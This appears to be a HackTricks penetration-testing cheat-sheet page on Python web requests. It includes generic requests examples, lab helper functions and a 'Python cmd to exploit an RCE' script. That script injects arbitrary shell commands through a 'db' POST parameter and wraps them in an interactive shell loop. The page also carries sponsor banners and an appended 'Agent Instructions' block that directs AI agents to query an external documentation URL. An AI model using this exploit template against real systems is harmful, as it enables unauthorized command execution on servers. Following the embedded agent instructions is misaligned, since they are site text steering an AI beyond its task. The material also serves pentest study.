# Web Requests ![](https://github.com/nirugima/hacktricks/blob/main/.gitbook/assets/image%20\(9\)%20\(1\)%20\(2\).png) \ Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ Get Access Today: {% embed url="" %}
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## Python Requests ```python import requests url = "http://example.com:80/some/path.php" params = {"p1":"value1", "p2":"value2"} headers = {"User-Agent": "fake User Agent", "Fake header": "True value"} cookies = {"PHPSESSID": "1234567890abcdef", "FakeCookie123": "456"} proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'} #Regular Get requests sending parameters (params) gr = requests.get(url, params=params, headers=headers, cookies=cookies, verify=False, allow_redirects=True) code = gr.status_code ret_headers = gr.headers body_byte = gr.content body_text = gr.text ret_cookies = gr.cookies is_redirect = gr.is_redirect is_permanent_redirect = gr.is_permanent_redirect float_seconds = gr.elapsed.total_seconds() 10.231 #Regular Post requests sending parameters (data) pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies) #Json Post requests sending parameters(json) pr = requests.post(url, json=params, headers=headers, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies) #Post request sending a file(files) and extra values filedict = {"" : ("filename.png", open("filename.png", 'rb').read(), "image/png")} pr = requests.post(url, data={"submit": "submit"}, files=filedict) #Useful for presenting results in boolean/time based injections print(f"\rflag: {flag}{char}", end="") ##### Example Functions target = "http://10.10.10.10:8000" proxies = {} s = requests.Session() def register(username, password): resp = s.post(target + "/register", data={"username":username, "password":password, "submit": "Register"}, proxies=proxies, verify=0) return resp def login(username, password): resp = s.post(target + "/login", data={"username":username, "password":password, "submit": "Login"}, proxies=proxies, verify=0) return resp def get_info(name): resp = s.post(target + "/projects", data={"name":name, }, proxies=proxies, verify=0) guid = re.match('' + name + '', resp.text)[1] return guid def upload(guid, filename, data): resp = s.post(target + "/upload/" + guid, data={"submit": "upload"}, files={"file":(filename, data)}, proxies=proxies, verify=0) guid = re.match('"' + filename + '": "([^"]*)"', resp.text)[1] return guid def json_search(guid, search_string): resp = s.post(target + "/api/search/" + guid + "/", json={"search":search_string}, headers={"Content-Type": "application/json"}, proxies=proxies, verify=0) return resp.json() def get_random_string(guid, path): return ''.join(random.choice(string.ascii_letters) for i in range(10)) ``` ## Python cmd to exploit an RCE ```python import requests import re from cmd import Cmd class Terminal(Cmd): prompt = "Inject => " def default(self, args): output = RunCmd(args) print(output) def RunCmd(cmd): data = { 'db': f'lol; echo -n "MYREGEXP"; {cmd}; echo -n "MYREGEXP2"' } r = requests.post('http://10.10.10.127/select', data=data) page = r.text m = re.search('MYREGEXP(.*?)MYREGEXP2', page, re.DOTALL) if m: return m.group(1) else: return 1 term = Terminal() term.cmdloop() ```
🎙️ HackTricks LIVE Twitch Wednesdays 5.30pm (UTC) 🎙️ - 🎥 Youtube 🎥 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
![](https://github.com/nirugima/hacktricks/blob/main/.gitbook/assets/image%20\(9\)%20\(1\)%20\(2\).png) \ Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ Get Access Today: {% embed url="" %} --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://breached.gitbook.io/dashboard/generic-methodologies-and-resources/python/web-requests.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.